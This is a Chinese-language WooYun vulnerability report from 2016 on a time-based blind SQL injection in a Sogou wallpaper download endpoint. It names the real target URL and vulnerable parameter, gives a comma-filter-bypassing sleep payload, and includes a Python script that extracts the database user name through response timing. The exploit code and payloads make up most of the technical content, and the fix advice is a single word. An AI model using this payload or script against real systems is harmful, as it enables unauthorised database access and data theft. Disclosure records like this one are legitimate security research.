当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0208114

漏洞标题:搜狗一处注入附验证脚本(时间盲注\绕过过滤)

相关厂商:搜狗

漏洞作者: sauce

提交时间:2016-05-13 11:50

修复时间:2016-06-30 08:10

公开时间:2016-06-30 08:10

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-05-13: 细节已通知厂商并且等待厂商处理中
2016-05-16: 厂商已经确认,细节仅向厂商公开
2016-05-26: 细节向核心白帽子及相关领域专家公开
2016-06-05: 细节向普通白帽子公开
2016-06-15: 细节向实习白帽子公开
2016-06-30: 细节向公众公开

简要描述:

rt

详细说明:

注入点

http://download.android.bizhi.sogou.com/client.php
?clientid=69ce12b3194bd597e9ecff768e05c172
&w=720
&h=1184
&v=2.5.5.71399
&dv=6.0.1
&dn=Moto+G+2014+LTE
&dr=720x1184
&r=0032-0032
&j=56eae447a9e7d3b52edcc26946ba5198
&i=d41d8cd98f00b204e9800998ecf8427e
&n=unknown


注入点w
时间盲注
sqlmap没跑出来
手测发现过滤了逗号

漏洞证明:

http://download.android.bizhi.sogou.com/client.php
?clientid=69ce12b3194bd597e9ecff768e05c172
&w=720' AND (SELECT * FROM (SELECT(case when (length(user())=23) then sleep(2) else sleep(0) end))lzRG) AND 'IgTp'='IgTp
&h=1184
&v=2.5.5.71399
&dv=6.0.1
&dn=Moto G 2014 LTE
&dr=720x1184
&r=0032-0032
&j=56eae447a9e7d3b52edcc26946ba5198
&i=d41d8cd98f00b204e9800998ecf8427e
&n=WIFI


可知用户名长度23
运行截图

QQ拼音截图未命名.png


python脚本

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import time
payloads='abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.'
#payloads='abcdefqrstuvwxyj'
user=''
print 'Start to retrive current user:'
for i in range(1,23):
for payload in payloads:
starttime=time.time()
url = "http://download.android.bizhi.sogou.com/client.php?clientid=69ce12b3194bd597e9ecff768e05c172&w=720' AND (SELECT * FROM (SELECT(case when (user() like '"+user+payload+"%') then sleep(2) else sleep(0) end))lzRG) AND 'IgTp'='IgTp&h=1184&v=2.5.5.71399&dv=6.0.1&dn=Moto G 2014 LTE&dr=720x1184&r=0032-0032&j=56eae447a9e7d3b52edcc26946ba5198&i=d41d8cd98f00b204e9800998ecf8427e&n=WIFI"
response=requests.get(url)
if time.time() - starttime > 2:
user+=payload
print '\n user is:',user,
break
else:
print '.',
print '\n[Done] current user is %s' %user

修复方案:

过滤

版权声明:转载请注明来源 sauce@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2016-05-16 08:08

厂商回复:

感谢支持

最新状态:

暂无